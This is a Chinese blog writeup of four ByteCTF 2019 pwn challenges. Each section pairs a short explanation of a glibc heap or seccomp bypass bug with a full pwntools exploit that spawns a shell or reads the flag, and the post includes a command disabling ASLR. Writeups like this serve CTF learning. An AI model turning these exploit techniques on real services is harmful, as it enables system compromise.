2019-ByteCTF-writeup-PWN

  1. 前言
  2. mheap
  3. notefive
  4. vip
  5. mulnote

前言

只做上了三道题,mheap赛后看了别人的wp才知道怎么做,不过因为环境还开着,所以还打了一下。

剩下两道虚拟机和js就算了,搞不定。

mheap

自己在程序内部模拟的堆块结构,没有实际的malloc和free操作,实现了一个自己的简单gc。

相当于模拟了一条单向的fastbin链,所有尺寸的堆块都放在链里,记录着前一个freechunk的地址,用C表示大概为:

struct chunk{
    int size;
    struct chunk *fd;
    char *buf;
}

还有一个topchunk和一个记录topchunk大小的size。

赛后问了别人,知道问题出现在当read写入到不可写区域的时候会返回-1,会导致read写入的内存发生向上的偏移调整,导致我们可以向上进行溢出写入,也是2018lctf的echos的知识点。

而整个topchunk是mmap开辟出来的空间,后面没有连续的空间,可以通过申请大内存超过mmap开辟的空间,到达不可写区域。

而如果fastbin链里有东西的话,就会遍历fastbin链去比较size是否与申请相匹配,所以如果我提前放一个堆块0x23330010,然后通过向上溢出fd为bss对应位置,那么我再申请0x23330000大小的堆块的时候就会拿到bss的地址了,然后就可以任意读写了。改atoi@got就可以getshell了。

from pwn import *

context(arch = 'amd64' , os = 'linux')
context.terminal = ['tmux', 'splitw', '-h']
context.log_level = "debug"

#p = process("./mheap")
p = remote("112.126.98.5", 9999)

ru = lambda x : p.recvuntil(x)
sn = lambda x : p.send(x)
rl = lambda   : p.recvline()
sl = lambda x : p.sendline(x)
rv = lambda x : p.recv(x)
sa = lambda a,b : p.sendafter(a,b) 
sla = lambda a,b : p.sendlineafter(a, b)
slog = lambda x : log.success(x)
flog = lambda x : log.success(x)

elf = ELF("./mheap")
libc = ELF("libc-2.27.so")

def debug(cmd=""):
    gdb.attach(p, cmd)


def choose(idx):
    sla("choice: ", str(idx))


def alloc(idx, size, ctx):
    choose(1)
    sla("Index: ", str(idx))
    sla("size: ", str(size))
    sa("Content: ", ctx)

def show(idx):
    choose(2)
    sla("Index: ", str(idx))


def free(idx):
    choose(3)
    sla("Index: ", str(idx))

def edit(idx, ctx):
    choose(4)
    sla("Index: ", str(idx))
    sn(ctx)


cmd = "set $a=0x4040c0\n"
cmd += "set $b=0x4040e0\n"
cmd += "set $c=0x23330000\n"
#cmd += "b *0x40159b\n"
#cmd += "b *0x4013cb\n"

#debug(cmd)

alloc(0, 0xf90, "ttt\n")
alloc(1, 0x30, "t"*0x30)
free(1)
alloc(2, 0x100,p64(0x60)+p64(0x4040e0)+"a"*0x4f+"\n")

alloc(3, 0x23330000, flat(elf.got['__libc_start_main'], elf.got['atoi'])+"\n")
show(2)

leak = ru("\x7f").ljust(8, "\x00")
libc.address = u64(leak) - libc.sym['__libc_start_main']
success(hex(libc.address))

edit(3, p64(libc.sym['system'])+"\n")

sla("choice: ", "/bin/sh\x00")
p.interactive()

bytectf{34f7e6dd6acf03192d82f0337c8c54ba}

notefive

开了PIE,edit里有一个off-by-one,申请不到fastbin堆块。

关闭aslr:

sudo sh -c "echo 0 > /proc/sys/kernel/randomize_va_space"

先用off-by-one产生一组堆块的复用,然后用unsortedbin attack扩大global_max_fast的值。

改了global_max_fast的值后,不管多大的堆块都会被当成fastbin了。

然后申请0xff的fastbin,在stdout-0x60的位置可以看到,然后打到stdout结构体制造泄露。

然后一点一点UAF,不断地伪造堆块+申请,注意中间的关键地址不要破坏掉,然后慢慢挪到malloc_hook,改malloc_hook为realloc+13,改realloc_hook为one_gadget即可getshell。

1/256的概率爆破,调试的时候本地关了aslr是100%成功的。

更多的细节就不说了,可以看exp。

from pwn import *

context(arch = 'amd64' , os = 'linux')
context.terminal = ['tmux', 'splitw', '-h']
#context.log_level = "debug"


def pwn():
    #p = process("./note_five")
    #proc_base = p.libs()[p.cwd + p.argv[0].strip('.')]
    p = remote("112.126.103.195", 9999)

    ru = lambda x : p.recvuntil(x)
    sn = lambda x : p.send(x)
    rl = lambda   : p.recvline()
    sl = lambda x : p.sendline(x)
    rv = lambda x : p.recv(x)
    sa = lambda a,b : p.sendafter(a,b) 
    sla = lambda a,b : p.sendlineafter(a, b)
    slog = lambda x : log.success(x)
    flog = lambda x : log.success(x)

    libc = ELF("./libc.so")

    def debug(cmd):
        gdb.attach(p, cmd)

    def choose(idx):
        sla(">> ", str(idx))

    def add(idx, size):
        choose(1)
        sla(": ", str(idx))
        sla(": ", str(size))

    def edit(idx, ctx):
        choose(2)
        sla(": ", str(idx))
        sa(": ", str(ctx))

    def delete(idx):
        choose(3)
        sla(": ", str(idx))

    #cmd = "set $a=%d\n" %(proc_base+0x202080)
    #debug(cmd)

    add(0,0xf8)
    add(1,0x310)
    add(2,0x100)
    add(3,0x100)
    edit(1,'A'*0x2f0+p64(0x300)+'\n')

    delete(1)
    edit(0,'A'*0xf8+'\x00\n')

    add(1,0xf8)
    add(0,0xf8)
    add(3,0xf8)
    delete(1)
    delete(2)

    add(1,0x118)
    add(4,0x308)

    # unsortedbin attack to fd
    edit(4,p64(0x21)*0x1b+p64(0x231)+p64(0)+'\xe8\x37'+'\n')
    delete(3)

    edit(4,p64(0x21)*0x1b+p64(0x231)+p64(0)+'\xe8\x37'+'\n')
    add(3,0x228)


    #write fd stdout
    edit(1,'A'*0xf8+p64(0xf1)+'\x20\x26\xdd\n')

    delete(0)

    edit(1,'A'*0xf8+p64(0xf1)+'\xcf\x25\n')
    add(0,0xe8)
    add(4,0xe8)

    # change stdout struct to leak
    edit(4,p64(0xf1)*6+'\x00'*17+p64(0xfbad1800)+'\x00'*25+'\n')
    ru(p64(0xfbad1800))
    ru("\x7f")
    libc_base = u64(ru('\x7f')[-6:]+'\x00\x00')-libc.symbols["_IO_2_1_stdout_"]-131

    success(hex(libc_base))


    # change stdout struct 
    edit(4,p64(0xf1)*6+'\x00'*17+p64(0xfbad2887)+'\n')


    # UAF and fake a chunk to get malloc_hook
    delete(0)
    edit(1,'A'*0xf8+p64(0xf1)+p64(0x7ffff7dd196f-0x7ffff7a0d000+libc_base)+'\n')
    add(0,0xe8)
    add(4,0xe8)

    p1 = '\x00'+p64(0x7ffff7dd19c0-0x7ffff7a0d000+libc_base)
    p1 += p64(0)*6 + p64(0x7ffff7dd06e0-0x7ffff7a0d000+libc_base)
    p1 += p64(0)*19 + p64(0xff)
    edit(4,p1 + '\n')


    # UAF2
    delete(0)
    edit(1,'A'*0xf8+p64(0xf1)+p64(0x7ffff7dd1a50-0x7ffff7a0d000+libc_base)+'\n')
    add(0,0xe8)
    add(4,0xe8)

    p2 = p64(0)*15+p64(0xff)
    edit(4, p2 + '\n')


    # UAF3 and get shell
    delete(0)
    edit(1,'A'*0xf8+p64(0xf1)+p64(0x7ffff7dd1ad0-0x7ffff7a0d000+libc_base)+'\n')
    add(0,0xe8)
    add(4,0xe8)

    one = libc_base + 0x4526a
    p3 = p64(0)*5+p64(one)
    p3 += p64(libc_base+libc.symbols['realloc']+13)
    edit(4, p3 + '\n')

    add(0, 0xe8)

    p.sendline("cat flag")

    p.interactive()


if __name__ == "__main__":
    while True:
        try:
            pwn()

        except:
            continue

bytectf{3c0a56db0867194e6157834f8fd76848}

vip

edit里很明显的堆溢出,但是需要先修改一个全局变量,否则输入的内容都是随机值。

通过vip功能的name可以栈溢出,然后会起一个ptrcl调用。

关于ptrcl和seccomp怎么理解和怎么构造可以看david942j写的工具里的一些介绍:

https://github.com/david942j/seccomp-tools

这个东西也是pwn通防最爱用的东西。

构造一个seccomp规则,最多0x30字节长当open的时候,返回值为0。

正常的规则:

 line  CODE  JT   JF      K
=================================
 0000: 0x20 0x00 0x00 0x00000004  A = arch
 0001: 0x15 0x00 0x08 0xc000003e  if (A != ARCH_X86_64) goto 0010
 0002: 0x20 0x00 0x00 0x00000000  A = sys_number
 0003: 0x35 0x06 0x00 0x40000000  if (A >= 0x40000000) goto 0010
 0004: 0x15 0x04 0x00 0x00000001  if (A == write) goto 0009
 0005: 0x15 0x03 0x00 0x00000000  if (A == read) goto 0009
 0006: 0x15 0x02 0x00 0x00000002  if (A == open) goto 0009
 0007: 0x15 0x01 0x00 0x0000003c  if (A == exit) goto 0009
 0008: 0x06 0x00 0x00 0x00050005  return ERRNO(5)
 0009: 0x06 0x00 0x00 0x7fff0000  return ALLOW
 0010: 0x06 0x00 0x00 0x00000000  return KILL

构造的规则:

 line  CODE  JT   JF      K
=================================
 0000: 0x20 0x00 0x00 0x00000000  A = sys_number
 0001: 0x15 0x04 0x00 0x00000001  if (A == write) goto 0006
 0002: 0x15 0x03 0x00 0x00000000  if (A == read) goto 0006
 0003: 0x15 0x02 0x00 0x0000000a  if (A == mprotect) goto 0006
 0004: 0x15 0x01 0x00 0x40000002  if (A == 0x40000002) goto 0006
 0005: 0x06 0x00 0x00 0x00050000  return ERRNO(0)
 0006: 0x06 0x00 0x00 0x7fff0000  return ALLOW

这里超过了0x30字节,但是可以调整JT和JF使得ALLOW直接用程序提供的,JT和JF是相对的行偏移,看一下就能理解是怎么来的。

mprotect的作用是为了给bss可执行权限,0x40000002的作用是用x32abi的open系统调用来绕过正常程序对open的限制(x32abi也是一种绕过64位沙盒的有效方式)

其余都会返回0,所以open返回0后,就可以使用edit达成堆溢出进行下一步利用。

2.27的UAF很自由,接下来的步骤为:

  • 用unsortedbin泄露libc地址,其实直接UAF改bss也可以泄露

  • UAF得到bss的地址以及__free_hook的地址

  • 找一个足够大的堆块写一个自己构造的SigreturnFrame()内容

  • SigreturnFrame()里面用mprotect给bss开执行权限,设置寄存器参数,rsp不要挨着shellcode,不然栈内数据会对shellcode造成污染

  • 修改__free_hook为setcontext+53

  • free之前带SigreturnFrame()的堆块,使其跳到bss上执行我写的shellcode

  • open->read->write打印出flag

from pwn import *

context(arch = 'amd64' , os = 'linux')
context.terminal = ['tmux', 'splitw', '-h']
context.log_level = "debug"

p = process("./vip")
#p = remote("112.126.103.14", 9999)

ru = lambda x : p.recvuntil(x)
sn = lambda x : p.send(x)
rl = lambda   : p.recvline()
sl = lambda x : p.sendline(x)
rv = lambda x : p.recv(x)
sa = lambda a,b : p.sendafter(a,b) 
sla = lambda a,b : p.sendlineafter(a, b)
slog = lambda x : log.success(x)
flog = lambda x : log.success(x)

libc = ELF("./libc-2.27.so")

def debug(cmd=""):
    gdb.attach(p, cmd)

def choose(idx):
    sla(": ", str(idx))

def alloc(idx):
    choose(1)
    sla(": ", str(idx))

def show(idx):
    choose(2)
    sla(": ", str(idx))

def free(idx):
    choose(3)
    sla(": ", str(idx))

def edit(idx, size, ctx):
    choose(4)
    sla(": ", str(idx))
    sla(": ", str(size))
    sa(": ", ctx)

cmd = "set $a=0x404100\n"
cmd += "b *0x404260\n"
#debug(cmd)


mprotect_rule = " \x00\x00\x00\x00\x00\x00\x00\x15\x00\x07\x00\x01\x00\x00\x00\x15\x00\x06\x00\x00\x00\x00\x00\x15\x00\x05\x00\n\x00\x00\x00\x15\x00\x04\x00\x02\x00\x00@\x06\x00\x00\x00\x00\x00\x05\x00"


p4 = "a"*0x20+mprotect_rule[:0x30]

for i in range(15):
    alloc(i)

choose(6)
sa("name: \n", p4)

edit(0, 0x70, "a"*0x50+p64(0)+p64(0x421))


free(1)
alloc(0)


show(0)
leak = ru("\x7f").ljust(8, "\x00")
leak = u64(leak)
libc.address = leak-0x3ec090
success(hex(libc.address))


alloc(0)
alloc(1)


free(6)
free(7)
free(8)
free(9)
free(0)
edit(2, 16, p64(libc.symbols['__free_hook']))
alloc(4)
alloc(3)

free(2)
edit(4, 20, p64(0x404140))
alloc(0)
alloc(0)


edit(3, 0x20, p64(libc.symbols['setcontext']+53))
frame = SigreturnFrame()
frame.rsp = 0x404150
frame.rip = libc.symbols["mprotect"]
frame.rdx = 0x7
frame.rsi = 0x1000
frame.rdi = 0x404000

payload = "./flag\x00\x00"
payload += p64(0)
payload += p64(0x404260) + p64(1) + p64(1)*32


sc = '''
    mov rdi, 0x404140;
    mov rsi, 0;
    mov rdx, 0;
    mov eax, 0x40000002;
    syscall;


    mov rdi, 3;
    mov rsi, 0x404160;
    mov rdx, 100;
    mov eax, 0;
    syscall;


    mov rdi, 1;
    mov rsi, 0x404160;
    mov rdx, 100;
    mov eax, 1;
    syscall;
'''
payload += asm(sc)

edit(0, 0x1000, payload)
edit(4, 0x300, str(frame))

free(4)

p.interactive()

bytectf{2ab64f4ee279e5baf7ab7059b15e6d12}

mulnote

看着挺复杂,其实不用怎么逆,因为我也没逆明白。运行一下就知道了,虽然有多线程,但其实就是UAF而已

,然后unsortedbin泄露,fastbin attack去改malloc_hook为one_gadget就行了,不看逆向部分的话属于入门级别的heap-pwn,相关操作可以看一下0ctf2017的babyheap。

from pwn import *

context(arch = 'amd64', os = 'linux')
context.terminal = ['tmux', 'splitw', '-h']
context.log_level = "debug"

#p = process("./mulnote")
#proc_base = p.libs()[p.cwd + p.argv[0].strip('.')]

p = remote("112.126.101.96", 9999)
ru = lambda x : p.recvuntil(x)
sn = lambda x : p.send(x)
rl = lambda   : p.recvline()
sl = lambda x : p.sendline(x)
rv = lambda x : p.recv(x)
sa = lambda a,b : p.sendafter(a,b) 
sla = lambda a,b : p.sendlineafter(a, b)


libc = ELF("./libc.so")

def debug(cmd=""):
    gdb.attach(p, cmd)


def choose(idx):
    sla(">", idx)


def add(size, ctx):
    choose("C")
    sla(">", str(size))
    sa(">", ctx)

def edit(idx, ctx):
    choose("E")
    sla(">", str(idx))
    sa(">", ctx)

def free(idx):
    choose("R")
    sla(">", str(idx))

def show():
    choose("S")


#cmd = "set $a=%d\n"%(proc_base+0x202020)
#debug(cmd)
add(0x200, "a")
add(0x200, "b")

free(0)
add(0x20, "c")
show()

ru("note[0]:\n")
leak = u64(ru("\x7f").ljust(8, "\x00"))
libc.address = leak-0x3c4d63
success("libc base: %s" %hex(libc.address))

add(0x68, "a"*0x67)
add(0x68, "a"*0x67)
add(0x68, "a"*0x67)

free(3)
free(4)
free(3)
add(0x68, p64(libc.symbols['__malloc_hook']-0x1b-8))
add(0x68, "a")
add(0x68, "a")

one  = libc.address + 0x4526a
add(0x68, "a"*0x13+p64(one))
choose("C")
sla(">", "20")

p.interactive()

bytectf{4f10583325b7a40ecd770dbb6fd54d59}


connect 1037178204@qq.com

文章标题:2019-ByteCTF-writeup-PWN

本文作者:t1an5t

发布时间:2019-09-19, 22:33:33

最后更新:2020-02-29, 21:43:22

原始链接:http://yoursite.com/2019-ByteCTF-writeup-PWN/

版权声明: "署名-非商用-相同方式共享 4.0" 转载请保留原文链接及作者。

目录